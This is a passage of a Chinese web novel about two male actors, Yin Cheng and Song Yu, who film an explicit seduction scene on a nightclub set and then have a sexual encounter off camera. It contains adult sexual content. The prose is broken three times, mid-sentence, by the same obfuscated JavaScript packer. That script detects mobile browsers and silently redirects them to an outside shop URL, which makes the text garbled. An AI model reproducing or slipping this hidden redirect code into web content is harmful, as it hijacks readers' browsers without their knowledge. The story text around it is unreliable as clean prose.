怎么说呢,他大概浏览过,良莠不齐,还是能学到东西的。 “贝克定力很强,光这样挑.逗,应该不足以让他失控。”宋屿向后靠,仰头看印澄,“你觉得呢?” 距离很近,印澄甚至能数清他的睫毛。 “是啊,再加些什么吧。”察觉到宋屿还在看自己,印澄害羞,有点不习惯在大庭广众下,和他这么长时间对视。 杨临将手插入卷发里,埋头苦思。 印澄努力不被宋屿散发出的魅力干扰,视线落到桌面,忽然灵机一动。 “冰块怎么样?”他提议。 宋屿扬眉,鼓励印澄继续说下去。 “那个,舌头是热的,冰块是冷的,可以拿在手里这样弄他……”印澄说着,右手虚空做出拿冰块的姿势,在宋屿胸前慢慢移动。 宋屿并未放开他的手腕,就这样跟着他的动作,体验了遍虚拟过程。 “好!就这个!”杨导立刻拍板,“酒杯里拿出来的冰块,你还可以含在嘴里,去吻他的脖颈!” 印澄微微一怔,想象下那副场面,心跳得更厉害了。 不愧是大导演,果然见多识广。 宋屿拇指轻轻刮蹭着印澄的手腕内侧,默许了提议。 “挑.逗到这步,贝克可以动.情了,慢慢慢慢失控……这个站位……干脆这样,贝克一把将米契尔拉到怀里亲,翻过沙发背!”杨临很快改出新动作。 印澄咽了下口水,有点紧张。 也不知道能不能翻好。 “我们试一下。”看出他的顾虑,宋屿手上加重,带着股不可抗拒的力量,慢慢将印澄拉翻到身上。 “啊!”印澄下意识惊呼,扑进他怀中。 “吃惊的反应可以有,但米契尔不会轻易害怕,马上就得切换情绪,和贝克激.吻。”杨临在旁仔细观察两人的姿势,认真提醒。 “好。”印澄答应会控制住情绪。 “接下来,你们俩抱着亲就行了,手也不用太规矩,摸.摸.胸啊,腰啊,都可以,把衣服撩开点也行!”杨临对后面的戏份没限制太多。 这种戏,有时候得看现场反应,定得太死效果反而不好。 印澄撑着胳膊从宋屿身上起来,连连点头。 可以的,他可以做到。 一定可以! “正式拍的时候会清场,就留摄像师一个人,你们不要有任何顾虑,一次不行就多来几次,想怎么亲就怎么亲,只要我不喊Cut,就一直继续!”杨临顺手拉印澄一把,帮他缓解压力。 “好的好的。”印澄乖巧答应。 很明显,比起宋屿,杨临更担心印澄。 宋屿也随之坐起,有条不紊地理好衣服上的褶皱。 印澄看着他那骨节分明的手指,恍惚间想起宋屿是怎样抚.慰小小澄,呼吸不由一滞。 糟糕,他怎么满脑袋废料。 杨临沟通完亲密戏,立即用对讲机让副导演组织下面的群演换位,避免穿帮。 其余工作人员也接连离开,只留下摄像像师一人调整机位。 印澄和宋屿并肩而坐,等待一楼换位结束。 “还要多久?”印澄不敢看地面,只能问宋屿。 宋屿垂下眼睫,判断道:“快了。” 印澄摆弄着桌面上的酒杯,有些担心:“冰块化掉怎么办?” “快开拍的时候,道具组会换新的过来,现在清场,是方便让我们入戏。”宋屿很有经验。 印澄点点头,把杯子放回原处,抽出两张纸擦掉沾在掌心的水渍。 用过后捏成团的纸扔进垃圾桶,熟悉的场景,再次让他脸红。 “紧张吗?”宋屿拉过他的手搓了搓,让他指尖不再发凉。 “还好。”印澄是紧张,但一想待会的戏有宋屿在旁边把关,就又觉得很踏实。 “你……”宋屿瞥了眼摄影师,侧身靠近,用第三个人听不到的声音问他,“你会不会像昨天那样……” “不会!”印澄被问得羞臊,连音量都没压住。 他顿时紧绷,幸好摄像师对他们聊天的内容并不关注,仍在忙手头的活。 印澄清清嗓子,学着宋屿刚才的样子,侧身低语,“我一周就一次,今天肯定不会。” 宋屿盯着他,笑容暧昧。 印澄脸上火辣辣的,恨不得刚才没说过那番话。 他身体健康,一周一次不是挺正常的么。 笑,还在笑。 难道宋屿就没有过? 他不信! 包厢门被笃笃敲响,果真是道具组来换酒。 看样子快开始了。 印澄离开沙发,背靠玻璃墙环胸而站,努力沉浸。 “各部门注意,各就各位!” 杨临的声音从小型扬声器传出,外面灯光、音乐皆已运行,群演们再次兴奋地舞动躯.体。 “三二一,Action!” 近年,摩拉密医药公司的友商出现销量下滑的现象,董事长弗纳尔·格林最近被米契尔惹出的乱子搞得头疼,特地让他去练习听市场汇报。 表面上是要培养小儿子的经商头脑,实则是找事情困住他,消耗他的精力。 米契尔对做生意毫不关心,散漫惯了,也听不懂汇报。 他刚跟贝克经历过两场酣畅淋.漓的性.事,现在只想品尝这个男人。 而贝克,则处于向欲.望沉.沦的懊恼与自责中,试图摆脱诱.惑,坚定心神。 虽然这场戏的结局,是以贝克的失败告终,但现在,较量才刚刚开始。 宋屿双手拿着文件,神情冷漠,语气平板地开始汇报。 “去年,奥睿医药国际集团的整体处方药,销售额从每年的50亿降到40亿,下滑幅度为20%。” 印澄做出掏耳朵的动作,叹口气:“喂,你还真念啊?” 宋屿置若罔闻,继续汇报。 “怎么,只听老爷子的话?”印澄走过去,从桌子上拿起杯酒,略显烦躁地晃了晃。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13964066|147834||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他自顾自走到宋屿身后,倍感无聊。 见宋屿还在念文件,印澄忽然露出狡黠的笑,俯身圈住他,拿酒杯贴蹭他的脸。 酒中的几块冰碰撞出响,杯壁冰凉,激得宋屿一顿,偏头躲过。 印澄发出愉悦的笑声,对宋屿的反应很满意。 宋屿皱眉,将文件翻过一页,接着念。 “贝克,你知道吗?”印澄贴近他耳语,“你的声音很好听。” “在我身上喘的时候,更好听。” “我想再听听,现在。” “你说好不好?” 宋屿胸膛有明显起伏,他闭上眼,深吸一口气:“抱歉,那不是我的工作。” “哈!我就喜欢你这副假正经的模样!”印澄用指尖抚摸宋屿高挺的鼻梁,描绘着它的形状。 宋屿没有再躲,努力当他不存在。 印澄咬唇,露出抹坏笑,用挑逗的气音对他呢喃:“你上次把我按在落地窗前艹,可不是这样的。” 宋屿喉咙滚动,目光有片刻涣散。 “来做嘛,贝克,”印澄脑袋撒娇地在他颈侧蹭着,像只永不满足的馋嘴猫,“我喜欢你在我身体里的感觉。” 他话语太过露.骨,毫无廉耻之心,像只用尾巴不断撩拨宋屿的魅魔,不断发出交.媾的邀请。 没有情人间该有的浪漫,诗与音乐都不是两人讨论过的话题。 更不存在灵魂上的共鸣。 贝克对米契尔体内流淌的肮脏血液憎恨、鄙夷,恨不得除之而后快。 可每次面对他的勾引,贝克都会情不自禁地沉溺其中,跟米契尔一起堕入快.感的深渊。 父母和贫民窟那些无辜者的悲惨遭遇,无时无刻不在提醒贝克要牢记仇恨。 他们是不共戴天的敌人,贝克每一次对欲.望的妥协,事后都会让自己觉得痛不欲生。 百转千回,宋屿眼中的情.欲逐渐冷却,恢复成那个公事公办的贴身保镖。 印澄惊讶于他的冷淡,但旋即,又志在必得地叼起他的耳垂,含.住后用牙齿泄愤般磨.咬。 贝克是个怪人,对他的态度总是忽冷忽热的,尤其喜欢事后不认人。 射得慢,翻脸倒是快。 不过,这点也是米契尔对贝克情有独钟的原因之一。 米契尔有过很多床.伴,皆对他阿谀奉承,卑微得像条狗。 没劲透了。 还是征服这匹野马有意思。 印澄眼底尽是恶作剧的坏笑,他伸出舌.头,开始舔.弄宋屿的耳廓。 粉红色的舌.尖灵巧地进出着,如同在模仿什么。 印澄抱着宋屿,舔得不老实,故意在他耳边哼唧,偶尔还会送道热.气进去。 宋屿挽起袖子的手臂青.筋暴起,将手里的纸张一点点捏皱,留下清晰地指印。 他努力调整呼吸,尽可能把文件念得吐字清晰,额头却浸出了汗珠。 这种艰难维持的表象骗不了米契尔,却能骗过他自己。 那是贝克即将崩塌的自尊。 印澄抬起头,意犹未尽地舔.舔.唇。 他喝了口酒,酒液入喉,齿间却留下块剔透的冰。 32.冰与樱桃 印澄喝过才知道,那杯酒,其实是冰红茶。 道具组很贴心,弄了个色泽相近的饮料,怕印澄酒量不好,耽误演戏。 毕竟待会儿还有米契尔和贝克正式相遇的戏码,不能真醉了。 其实印澄酒量挺好的,醉是醉,但从来没有断篇的时候。 每次和朋友聚会,他都是那个负责叫车把人送回去的。 剧本上没写米契尔该如何放下酒杯,印澄扬手,直接将它扔掉。 酒杯应声破裂,残留的红褐色液体飞溅而出,少量冰块在地面滑行出很远,留下道道水渍。 摄像师敏锐地推动机器,捕捉到完整的一幕,尤其是给冰块加了特写。 他知道剧本上的内容,这一段正好可以跟后续相呼应。 意料之外的响动,短暂地干扰到宋屿的思绪。 下一刻,印澄带着那块冰,吻.上宋屿的侧.颈。 他细密啃.咬,温.热的唇.瓣和舌.尖的冰块游刃有余地配合着,亦热亦冷,登时让宋屿的呼.吸乱了节奏。 “怎么不念了?”印澄暂时放开他,用手指将冰块取出,舌.尖挑送,带出银.丝。 宋屿隐.忍地闭上眼,拿文件的手已彻底握成拳。 “继续,不许停。”印澄将冰块贴在他脖.颈鼓.起的血.管,顺着它蔓延的方向缓慢滑.动,“这可是伟大的格林先生交给你的任务。” 宋屿神经质地仰起头,跟随冰块移动的节奏而深呼.吸。 他的倔强、坚守,此刻已成为折.磨他的毒药。 偏偏米契尔玩兴正浓,定要捉.弄够本才肯罢休。 他不愿狼狈认输,燥.热地舔.了下牙,坚持汇报。 只不过这次,他语不成句,最简单不过的词语却像拗口的密文般反复念叨,根本顺不下去。 “医保控费……力度……力度……加强……” “对……对……对一些高价处方药……报销……比例……调整……” 印澄被他艰涩的语气逗笑,乘胜追击,带着那冰冰凉凉的触.感,去往新的地方。 正式开拍前,宋屿曾解.开过衣领,迎合夜店放松的气氛。 如今,正好方便印澄行事。 印澄看见了曾经幻想过无数次的樱桃。 它的色泽原本是淡淡的,仿佛离被采摘,还有很长一段时间的距离。 但贴到冰块后,非但形状发生了改变,连外表也变得嫣.红。 冰块一圈儿一圈儿地画着,迅速将它催.熟。 可即便熟了,果.肉还是那样的嫩,经不住太重的风霜。 印澄爱不释手,刚想去光顾另一颗,胳膊忽然被人死死钳.住。 紧接着,那股蛮横的力直接将他拽翻过了沙发背! 印澄受惊,却在瞬间爆发出得意的狂笑。 宋屿双眼发红,手掌按在他脑后,毫不怜.惜地将他压.向自己。 所有的嘲弄都被尽数吞.没,宋屿吻.得太凶,近乎把缠.绵变成了含恨的撕.咬。 不见爱意,只有疯.狂的宣.泄。 印澄害怕了。 昨晚练习,宋屿即便是最投入的时候,也没这般对待过他。 唇.瓣麻.木,连舌.根都被吮.得生疼,好像禁.锢他的是某种野.兽,下一刻就要将他生.吞活剥。 印澄首次对宋屿产生恐慌情绪,他本能地想要抗.拒,可他知道,米契尔现阶段不会害怕贝克。 这一切都应在他的预料之中。 只要贝克还没暴.露身份,他颈.部的锁.链,就永远都在米契尔手里。 印澄开始反击。 他对宋屿蛮.横的攻势全盘接受,包容着,忍.耐着,看准时机加以诱.导,让这场毫无章法的吻,逐渐变得浓.烈而痴.缠。 宋屿愈发投入,手当真如杨临所要求的那样放.肆,甚至开始突破印澄的心理防线。 这本该仅仅是场吻戏。 印澄的腿半屈.起,无意间碰到什么,惊得他城池失.守,再次被宋屿全盘掌控。 糟糕,这、这…… 宋屿眯起眼,猛然翻身,带着他一起纠.缠着从沙发滚落。 印澄被转到下方,本该摔得最重,可宋屿迅速将手臂垫在他背后,硬是抵消掉绝大部分冲击。 两人的唇.瓣就此分离,令印澄胆颤的玻璃碎裂声“咔咔”声响起,吓得他面色苍白,真以为自己要跌落下去! “Cut!”杨导的声音倏然从扬声器传出,激.动道,“完美!情绪非常到位!两位老师,辛苦了!” 杨临平时叫谁都是直呼其名,忽然改称老师,听得印澄愣住,暂时忘记害怕碎裂特效。 导演这是,真正认可他了! 然而,印澄的关系并未持续太久。 他看着宋屿出现的突发状况,手足无措。 怎么办? 这里可不是酒店啊! 那么多工作人员都在,宋屿这样,瞒不住啊! 天呐,要不然拿别的衣服挡挡? 此地无银三百两!那不更惹人注目了嘛! 宋屿稍微坐起,忽然举手示意。 印澄的心差点跳出嗓子眼。 要说么? 宋屿好歹是顶流啊! 那么大明星,当众承认这种事,真的可以嘛?! “抱歉,阿澄好像有点摔到了,我陪他在这里休息会儿。” “没受伤,不需要医疗组照顾。” “只留我们两个就可以。” 宋屿笑容清淡,说出的话却不是商量,而是通知。 印澄这才注意到,他们半躺在地被矮酒桌挡着,摄像师并未拍到。 应该也没看到。 扬声器沉默片刻,传出杨临的回应:“OK,摄像带东西出来,不用留监听器。” 摄影师看了两人一眼,礼节性地关心几句,立刻收拾东西离开。 末了,他还仔细地把门关好。 很贴心。 很像是故意的。 “他们,知道了?”印澄尴尬得脚趾蜷曲。 出状况的不是他。 但是不是他,现在已经无关紧要了。 “命运共同体”五个大字赫然浮现。 留下的是两个人,一切无需多言。 “剧组里的人都见多识广,这点眼色还是有的。”宋屿泰然自若,动作优雅地将小小屿放出来。 印澄差点瞪出眼珠。 男神。 你是不是有点……太自然了? 这这这,这种情况,他是不是该闭眼啊? 印澄想归想,双眼背叛了他的心,看得目不转睛。 宋屿将他的反应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984742|147834||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尽收眼底,手臂向后撑着身.体。 “帮个忙?”宋屿笑得温柔,仿佛在询问他要不要一起用晚餐。 印澄心里像被人塞了个小铃铛,叮铃铃晃个不停。 摇得他心颤。 他咽下口水,默许了宋屿的晚餐邀请。 Eclipse Club暂停运作,楼下的群演们也熙熙攘攘地移动着,变换新位置。 下一场戏要拍宋屿和别人在吧台打架的戏份,需要做的准备更多,所耗时间也长。 剧组有规定,群演入场后不许使用手机,防止剧情泄露。 尽管没法合影,还是有不少粉丝在兴奋地朝二楼的透明包厢挥手,甚至是抛飞吻。 他们都知道,那位万众属目的宋屿,此刻就在那里休息。 尽管看不到包厢内的景象,不知道宋屿此刻正在做什么,但大家热情不减,只希望男神某次不经意的垂眸,能看到自己。 宋屿的确在向下看,注意的却不是包厢外。 印澄脸红得像苹果。 方才为拍戏,包厢内灯光打得很强,真是所有细节都一览无余。 他明明是帮宋屿的,可慢慢的,自己也成了需要被帮助的对象。 丢脸。 实在丢脸。 他明明不是那种需求过量的人。 “一周一次?”宋屿轻笑,换了只手。 印澄连说话的余地都没有。 不知从什么时候开始,他竟模仿起宋屿的动作。 像是一种同频,也像是下意识的跟随。 宋屿很快注意到这一点,饶有兴致地变化着。 最终,他们几乎是同时结束了这次晚餐。 印澄努力调整着呼.吸,连多看宋屿一眼的勇气都没有。 他是中途加入的,结束时间却跟宋屿相同。 好没用。 不对,应该说是宋屿太狡猾了。 会那么多,比他这个阅“学习资料”无数的人还要熟练。 难道宋屿不管做什么事,都是天赋流? 好可怕的学习能力。 垃圾桶里的东西增加,印澄羞愧难当,想悄悄把塑料袋收拾走。 “没事,沈秋会处理这些。”宋屿拦住他的手,宽慰地握了握。 那上面,仿佛还残留着少许印澄的气息。 “出去吧!”印澄羞到极点,挣开宋屿的手。 “等等。”宋屿再次拉住印澄,事无巨细地帮他把衣衫扣好。 其实,米契尔从来都不系这么多扣子的。 但印澄喜欢穿得严实一点。 “待会儿我拍戏,你要去休息吗?”宋屿将他衣服抚平,状若无意地问。 印澄原本是那样想的。 但…… “我在旁边看你吧。”印澄话头转了个弯,腼腆地补充道,“反正也不累。” 其实印澄还真有点腿.软。 他注视着宋屿手指的动作,目光不可避免地看到玻璃地下面的热闹人群。 头晕目眩的感觉,似乎减退不少。 连心跳都没怎么加速。 他这是,克服恐高了? “走吧,”宋屿整理完毕,宽大的手掌揽住他的腰,带他走向门口,低声耳语,“去洗手。” 印澄:…… 这种事,不要特地提醒啊! 33.成瘾 印澄很想装作若无其事,可推开门的那一刻,他还是羞得不行。 沈秋清清嗓子,笑眯眯地对两人道了声“辛苦”,带人进包厢打扫。 好像什么都没说。 又好像什么都说了。 印澄窘得脸通红。 在走廊待机的工作人员数量超乎了他的想象。 原来一门之隔,居然有这么多人! 他们……都知道了吗? 印澄背后出汗,无论对上谁的视线,都觉得对方怪怪的。 似乎每个眼神都大有深意。 那些三三两两围在一起说悄悄话的,是在谈论他们吗? 难道他刚才没咬住唇,大脑空白时发出过声音? 亦或者那个透明包厢早就被道具组调回双向玻璃,里面的一切,都能看得清清楚楚? 印澄喉咙发紧,荒唐过后才知道害怕。 他刚才好像被迷住了心窍,宋屿说什么就听什么,半点思考得能力都没有。 在极致的快.感面前,所有理智和警觉都被抛诸于脑后。 他只是疯狂地渴望着抵达巅峰。 和宋屿一起。 恍惚间,印澄想起某些被陌生路人拍到恩爱画面的社会新闻。 明明有更安全的地方,但总有人追求刺.激,树林里、车内,甚至是办公室…… 曾经印澄不懂,只觉得当事人过于离谱,为何要屈服于欲.望,把自身陷入如此危险的环境中。 现如今,他倒是能稍稍理解了。 追求那种压倒性的愉.悦时,任何不确定因素,都能让感官成倍飙升。 像是成了瘾,控制不住,更戒不掉。 即便时光回流,印澄也没办法保证,自己能拒绝宋屿的邀请。 他原来,是对这种事如此热衷的人吗? 和自己弄的,完全不一样。 天壤之别。 后背冷不丁被人用手摸了摸,印澄一抖,条件反射地避开了。 过.电般舒.爽的身.体还处于敏.感的阶段,根本经不起没有心理防备的触.碰。 “澄澄,你摔得很重吗?是不是还疼啊!”吴鸿阳僵举着手,怀疑自己刚才弄疼了他。 “……没事,缓过来了。”印澄夸张地活动两下肩胛骨,异常心虚。 “真的?还是让医疗组看一下吧!”吴鸿阳觉得印澄还是不对劲。 他直觉敏锐,但猜错了方向。 宋屿眉眼含笑,盯视印澄的目光很是满足,在副导演的邀请下动身去一楼备戏。 印澄深吸一口气,也离开了二楼。 他上午的戏份已经全部完成,剩余的一场和贝克的邂逅,要等到下午才拍摄。 脱换掉戏服,再出来时,印澄正好看见宋屿在跟武术指导讨论。 待会儿那场打戏,宋屿将面临二十多位对手,如何有效利用吧台的环境打得精彩,是他们研究的重中之重。 说实话,印澄自打进入横店后,就没拍过像模像样的打戏。 群演时期,他大多被一枪毙命或一刀砍死,从未有过一招一式的对招机会。 后来出演各种配角,因相貌清秀的缘故,被分配的也都是文戏。 其实他对武打很向往,可就连这次的《欲都》,安排的动作戏也不多。 呃,如果是另一种“动作戏”的话,那还真不少…… 印澄坐在位置较为偏僻的卡座区,与群演和宋屿的距离都很远。 宋屿似乎也没留意到他的关注,讨论到一半,拿起一瓶酒在手里掂量了两下,忽然砸向自己的胳膊。 印澄吓一跳,站起身,本能地想冲过去。 “放心,那堆酒瓶都是糖做的,轻轻一碰就碎。”陆泽邑悄然出现,压着他的肩膀,将他按坐回去。 “对……”印澄这回反应过来,暗笑刚才大惊小怪。 “依我看,待会儿那些瓶子可能都要招呼到群演身上,宋老师大概是在担心糖瓶的硬度。”陆泽邑紧挨着他坐下,啧啧称赞,“真贴心啊。” “是啊。”印澄附和。 宋屿同群演开始对招,速度越来越快,打得人眼花缭乱,声响却唬人,出拳时还能听到猎猎风声。 陆泽邑似乎还说了些什么,印澄入耳却没法进脑,视线本能地追随宋屿的潇洒英姿,根本没法兼顾。 “……真是太荣幸了!能跟宋老师合作,可是每个小羽毛的梦想啊!”陆泽邑仍在滔滔不绝。 “小羽毛?”捕捉到特殊词汇,印澄的头终于转向旁边,“你也是屿哥的粉丝?” “是啊!”陆泽邑将漂亮的银灰发别到耳后,颇为感慨,“我就是因为崇拜宋老师才入的这行,这会真是功德圆满啊。” 印澄惊喜。 他居然遇到同担了! 老乡加同担,印澄对陆泽邑的好感度嗖嗖直升,激动地跟他分享追星旅程。 陆泽邑对宋屿真的很了解,所有作品都如数家珍,甚至连导演和编剧都记得一清二楚。 两人越聊越投机,当场互加微信。 “来来来,纪念下小羽毛碰头成功!”陆泽邑一手举手机,一手揽过宋屿的肩,和他脸贴脸面对镜头。 印澄这回做好准备,努力压下去和别人肢体接触的不适感,比起万年不变的剪刀手。 “哈哈,太土了吧!比心比心,你学我这样!”陆泽邑在镜头里用拇指和食指捏成心状,让印澄模仿。 其实参加《星途闪耀》的那段岁月,印澄学过很多肉麻的手势,连抛媚眼什么的都略通一二。 那是为了拉票,导演硬性规定的每日卖萌环节,大家起初不适应,可做着做着就司空见惯了。 环境影响人,连敖乐盐对摄像师举拳学过猫叫,竞争之激烈可想而知。 眼下冷不丁又想起那段,印澄又尬又想笑,最后还是拗不过陆泽邑,也比起了手指心。 “三二一,茄——子——”陆泽邑笑得开心,无形中也感染到了印澄。 “对了,鲍丘导演的新作明天就定档,有时间一起去看?” 陆泽邑检查好照片,低头编辑着什么,随口问道。 鲍丘是宋屿电影处女作的导演,擅长镜头欺骗和叙事诡计,作品向来都叫好又叫座。 印澄准备答应。 开机后,他因为戏份的缘故,反倒没有围读期间那样忙…… 一阵惊呼忽然从前方传来。 “厉害 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13997180|147834||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊!” “太棒了!这滞空感,像电影的慢镜头一样!” “天呐!腾空后踢!宋老师居然能做得这么漂亮!” “啊啊,不知道能不能再踢一次!好帅啊!” 围观宋屿拍戏的工作人员们连连鼓掌,脸上尽是崇拜。 印澄听得心痒,可宋屿已完成对招,即将进入正式拍的阶段。 陆泽邑短暂抬头看了一眼,想继续和印澄聊电影的话题。 “待会儿再说,屿哥要开拍了,快看!”印澄瞬间进入观影模式,提醒陆泽邑不要错过偶像的精彩表演。 陆泽邑张张嘴,勉强止住话头。 演员们各自去往规定好的位置,这场高难度打戏即将开拍。 “你说,”吴鸿阳站在不碍事的角落旁观,迟疑地问秦鸣,“刚才宋屿排练的时候,为什么一直在看澄澄?” “有吗?”秦鸣检查备忘录里的工作内容,不甚在意。 “有啊!”吴鸿阳抱着双肩包,言辞笃定,“刚才澄澄坐在卡座那边,宋屿就一直往那看,可明显了!” “看错了吧。”秦鸣敷衍地扫视一圈,给出答案,“杨导不也坐那个方向。” 的确,印澄的位置和监视器前的杨导,差不多在一条直线上。 可吴鸿阳还是觉得不对劲。 杨导才坐过去,先前一直和武术指导站在一起讨论招式和拍摄方案。 很长一段时间内,宋屿表情不太好,关注的方向只有印澄……和那个叫陆泽邑的银灰发男。 难不成他们俩在包厢里,发生过什么不愉快的事? 应该不会。 印澄为人和善,很少和别人起冲突的。 大概真是他看错了。 “ Action!”杨临一声命令,整个Eclipse Club再度运转。 吧台前坐着三名公子哥安德烈的手下,他们喝了不少,对路过的美女吹哨,对男人吐口水。 宋屿知道米契尔和安德烈有过节,故意招惹这群人,经过时佯装无意地撞到其中一位光头大汉的肩。 那大汉穿着椰子树的花衬衫,脖子上挂金链,狞眉瞪目,胳膊和胸膛的汗毛重得吓人,形象极恶。 果然,光头大汉喝住宋屿,带着浑身酒气开骂。 宋屿没跟他吵,随手抄起桌上一瓶酒,直奔光头脑门。 啪! 酒瓶砸得粉粉碎,光头身形不稳,踉跄两下,怒不可遏,招呼兄弟们开揍。 宋屿等的就是这个,先发制人踢中光头腹部,随即躲过另一人的拳头,抓住其手臂,以脚为轴转身。 弯腰,弓背,利用对手的重量和自身发力,来个完美的过肩摔。 印澄捂住胸口,只觉得那一击,狠狠地摔在了心上。 宋屿打得很暴力,拳拳到肉,肌肉愤张,所有动作干净利落,连被人偷袭后受伤的反应,都带着股莫名其妙的色。 印澄猛然意识到,自己和宋屿的体力差距究竟有多大。 他想起剧本上两人最后那场激.情戏,贝克被撩.拨后会兽.性大发,挣脱锁链,以要杀死对方的气势掠.夺米契尔。 印澄喉咙一紧,心跳开始加快。 34.暧昧 宋屿的这场打戏并非一镜到底,拍了几组镜头,化妆师迅速帮他和群演添加伤痕。 虽是几道擦伤,却看得人触目惊心。 他身上的肌肉因方才激烈的打斗而隆起,淤青与擦伤交错,线条充满力量。 汗珠成串滴落,让他所有裸.露着的肌.肤都蒙了层水色,将整个人彻底打造成一件被战火洗礼过的绝佳艺术品。 印澄看得目不转睛,胸膛发热,恨不得将这一幕永远保留,珍藏在记忆里。 准备就绪后,剧组再次开拍,宋屿神色狠厉,迫近镜头不断挥拳,营造出更有冲击力的压迫感。 越来越多的打手从舞池赶来,加入到对贝克的围剿,战况激烈,高脚凳与酒瓶乱飞,尽管知道是拍戏,却仍让人感到胆寒。 打成这样,贝克自然成为了整个夜店关注的焦点。 也唯有如此,才能吸引到米契尔的注意力。 这场打戏,剧组整整拍了两个小时。 宋屿休息的时间都极短,每次杨临提出新的要求,他都能准确做到,专注力强得惊人,体力似乎也永不会枯竭。 “屿哥不愧是顶流啊,”陆泽邑在旁感慨,“他担得住这个称号。” “是啊。”印澄喃喃低语。 宋屿天赋高,长得帅,但光凭这两点还有够。 他如何在波谲云诡娱乐圈杀出重围,走到今天这个位置,印澄再清楚不过。 领悟力强、情商高、敬业,工作狂…… 宋屿的优秀是全方位的,宛如一颗精美的多面宝石,每一面,都能折射出令人着迷的光。 他一直在注视他,越了解,就陷得越深。 * * * 午休有两个小时,宋屿为接了戏没卸伤妆,临时用一间VIP包厢当休息室用餐。 印澄也被带了过去。 工作期间,宋屿对伙食向来不甚在意,方便就行,这餐吃的也是简单外卖。 不过点菜时,他似乎考虑到了印澄,还是叫了些辣口的。 印澄夹了块辣子鸡丁,忍不住关心他:“打那么久,疼吗?” 即便是套好的招,拳脚相碰也会产生些痛觉。 倘若出现失误,还有骨折等风险,每年因为拍打戏进医院的演员都不少。 尤其是现在,宋屿拳头上的指关节都被打过粉,看着微微发肿,似乎很疼。 宋屿左手握张两下,递给他看:“没事。” 印澄拉过来,翻来覆去地检查,又小心地捏了捏疑似肿.胀处,发现触感正常,这才踏实。 宋屿笑笑,任他摆弄,另一只手照常吃饭。 “你刚才打得真好,”印澄又捏了会儿才恋恋不舍地放开,“有专业学过吗?” 宋屿左手握拳,手指彼此摩擦着:“没正式学,都是在片场练的。” “厉害。”印澄含了口米饭,满眼欣赏。 宋屿扬起唇角,似乎对这夸赞很受用。 印澄咬着筷子尖,絮絮叨叨跟他复盘刚才的一些精彩动作,各种角度的夸,甚至没有停顿。 小羽毛私下里的彩虹屁,就这么当着本人的面说出来了,印澄却没觉得不妥,说得愈发起劲儿。 等宋屿用餐完毕,印澄望着碗里还没怎么碰过的饭,这才意识到自己话太多。 糟糕,死忠粉的本能流露出来了。 印澄默默收住,开始干饭。 “阿澄,”宋屿收拾好自己的碗筷,把菜往印澄那边推了推,“我们这样,以后会很麻烦。” 印澄被米饭噎住。 麻烦? 他是不是吵到宋屿午休了! “我是说,刚才,在楼上。”察觉到他的误会,宋屿笑着补充道。 哦,是刚才啊。 印澄咽下米饭,心情却变得更沉重了。 的确,只是亲就有反应,那以后拍激.情戏怎么办? 每次都让大家在外面等,长此以往那还得了! 更离谱的是,印澄对自己预估失误。 宋屿对他的吸引力似乎永没上限,哪怕是前一天晚上释.放过,也还能起来。 这可怎么办? 不行,他得解决好个人问题! “我以后不会这样了。”印澄小声保证,迅速扒拉着米饭。 “你有办法?”宋屿探身,很感兴趣。 “呃,嗯,就是……拍之前的早上,先弄一次?”印澄脸颊慢慢发烧,低着头,不敢他,“这样,总不会再……” 救命。 他到底为什么要当着男神的面说这种话。 “这样啊。”宋屿并未打趣他,而是当真思考起可行性。 印澄沉默,努力扒饭。 “我以后早晨会去找你。”沉吟过后,宋屿给出结论。 印澄被饭呛到。 找他? 天呐,难道以后每次都要像今天这样…… “我、我不是那个意思!”印澄咳得肩膀直颤,好不容找回声音,“我可以自己解决!” 宋屿见状,坐得离他更近,温柔地帮他拍肩顺气,还拿过水来让他喝。 缓了半天,印澄终于平复下来。 “我想和你一起,”宋屿嗓音低沉,说出的每一个字,都如同拨弄低音琴弦,让人心颤,“可以吗?” 印澄双手捧着水杯,缩起肩膀,不知该如何是好。 “这样不好吧,要是让人知道了……” 一次两次还说得过去,毕竟天热,难免有血气方刚的时候。 可要频率太高,那不就是…… 他们毕竟不是情侣关系。 虽然印澄喜欢宋屿,也怀疑宋屿对他有好感,不过话还没挑明过。 但都说到这地步了,宋屿还是副公事公办的样子,甚至没跟他说过情话。 宋屿,真的只当他是搭档吗? 和搭档私下里做这种事,难道纯粹是为了不当误工作…… 印澄脑袋乱乱的,理也理不清。 他觉得他们俩现在的关系很奇怪。 若是情侣,总该从表白开始,一步一步来才对。 若是同事,那就该恪守边界,不要做出格的事。 现在两种状态混在一起,态度也暧昧,实在让他混乱。 印澄舔.舔唇,忽然萌生出向宋屿告白的冲动。 谁知念头刚起,即刻就被巨大的恐慌淹没。 